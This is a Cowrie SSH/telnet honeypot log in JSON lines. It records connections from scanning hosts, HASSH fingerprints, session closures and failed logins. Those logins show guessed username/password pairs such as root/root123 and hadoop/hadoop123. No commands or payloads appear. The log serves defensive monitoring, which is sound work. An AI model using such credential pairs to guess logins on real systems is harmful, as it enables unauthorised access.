{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:56.400946Z","src_ip":"192.109.200.237","session":"ac73bd139cad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:56.735143Z","src_ip":"192.109.200.237","session":"ac73bd139cad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:57.820956Z","src_ip":"192.109.200.237","session":"ac73bd139cad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0017876625061,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:59.030629Z","src_ip":"212.252.73.4","session":"93eeba5479b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.252.73.4","src_port":50742,"dst_ip":"10.17.0.5","dst_port":23,"session":"eca95c20b99c","protocol":"telnet","message":"New connection: 212.252.73.4:50742 (10.17.0.5:23) [session: eca95c20b99c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:37:59.998731Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42236,"dst_ip":"159.203.135.109","dst_port":22,"session":"74c6ebe26bc4","protocol":"ssh","message":"New connection: 192.109.200.237:42236 (159.203.135.109:22) [session: 74c6ebe26bc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:00.008474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:00.013692Z","src_ip":"192.109.200.237","session":"74c6ebe26bc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:00.095975Z","src_ip":"192.109.200.237","session":"74c6ebe26bc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"a","password":"a","message":"login attempt [a/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:00.343060Z","src_ip":"192.109.200.237","session":"74c6ebe26bc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:01.431854Z","src_ip":"192.109.200.237","session":"74c6ebe26bc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38360,"dst_ip":"159.203.135.109","dst_port":22,"session":"349a2fc02eb7","protocol":"ssh","message":"New connection: 192.109.200.237:38360 (159.203.135.109:22) [session: 349a2fc02eb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:03.572340Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:03.576819Z","src_ip":"192.109.200.237","session":"349a2fc02eb7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:03.663021Z","src_ip":"192.109.200.237","session":"349a2fc02eb7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity","message":"login attempt [trinity/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:03.924381Z","src_ip":"192.109.200.237","session":"349a2fc02eb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":40256,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e269ef3087f","protocol":"telnet","message":"New connection: 50.6.8.71:40256 (10.17.0.5:23) [session: 0e269ef3087f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:04.011173Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:05.103907Z","src_ip":"192.109.200.237","session":"349a2fc02eb7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":38364,"dst_ip":"159.203.135.109","dst_port":22,"session":"71a7571b6c53","protocol":"ssh","message":"New connection: 192.109.200.237:38364 (159.203.135.109:22) [session: 71a7571b6c53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:07.023601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:07.028613Z","src_ip":"192.109.200.237","session":"71a7571b6c53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48790,"dst_ip":"10.17.0.5","dst_port":23,"session":"d12f21cfe169","protocol":"telnet","message":"New connection: 50.6.8.71:48790 (10.17.0.5:23) [session: d12f21cfe169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:07.090359Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:07.203894Z","src_ip":"192.109.200.237","session":"71a7571b6c53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:07.476984Z","src_ip":"192.109.200.237","session":"71a7571b6c53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:08.561894Z","src_ip":"192.109.200.237","session":"71a7571b6c53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48802,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3103e2d8397","protocol":"telnet","message":"New connection: 50.6.8.71:48802 (10.17.0.5:23) [session: e3103e2d8397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:09.092721Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50796,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e5f0ac70f91","protocol":"ssh","message":"New connection: 192.109.200.237:50796 (159.203.135.109:22) [session: 1e5f0ac70f91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:10.512673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:10.519959Z","src_ip":"192.109.200.237","session":"1e5f0ac70f91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:10.601619Z","src_ip":"192.109.200.237","session":"1e5f0ac70f91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"123456","message":"login attempt [fastuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:10.847938Z","src_ip":"192.109.200.237","session":"1e5f0ac70f91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:12.296244Z","src_ip":"192.109.200.237","session":"1e5f0ac70f91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":48806,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6cc8ed32627","protocol":"telnet","message":"New connection: 50.6.8.71:48806 (10.17.0.5:23) [session: b6cc8ed32627]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:13.673965Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50804,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e644acf36ff","protocol":"ssh","message":"New connection: 192.109.200.237:50804 (159.203.135.109:22) [session: 0e644acf36ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:14.027953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:14.031871Z","src_ip":"192.109.200.237","session":"0e644acf36ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:14.114226Z","src_ip":"192.109.200.237","session":"0e644acf36ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"******","message":"login attempt [root/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:14.364369Z","src_ip":"192.109.200.237","session":"0e644acf36ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:15.452626Z","src_ip":"192.109.200.237","session":"0e644acf36ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":50818,"dst_ip":"159.203.135.109","dst_port":22,"session":"2268cbd0e5a7","protocol":"ssh","message":"New connection: 192.109.200.237:50818 (159.203.135.109:22) [session: 2268cbd0e5a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:17.576209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:17.580873Z","src_ip":"192.109.200.237","session":"2268cbd0e5a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:17.662919Z","src_ip":"192.109.200.237","session":"2268cbd0e5a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amin","password":"amin","message":"login attempt [amin/amin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:17.910803Z","src_ip":"192.109.200.237","session":"2268cbd0e5a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:18.995977Z","src_ip":"192.109.200.237","session":"2268cbd0e5a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":53580,"dst_ip":"159.203.135.109","dst_port":22,"session":"938b4e288411","protocol":"ssh","message":"New connection: 192.109.200.237:53580 (159.203.135.109:22) [session: 938b4e288411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:21.041882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:21.046169Z","src_ip":"192.109.200.237","session":"938b4e288411","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:21.128143Z","src_ip":"192.109.200.237","session":"938b4e288411","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:21.375268Z","src_ip":"192.109.200.237","session":"938b4e288411","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.5614960193634,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:38:22.165600Z","src_ip":"50.6.8.71","session":"d9fe109aa0e6","protocol":"telnet"}
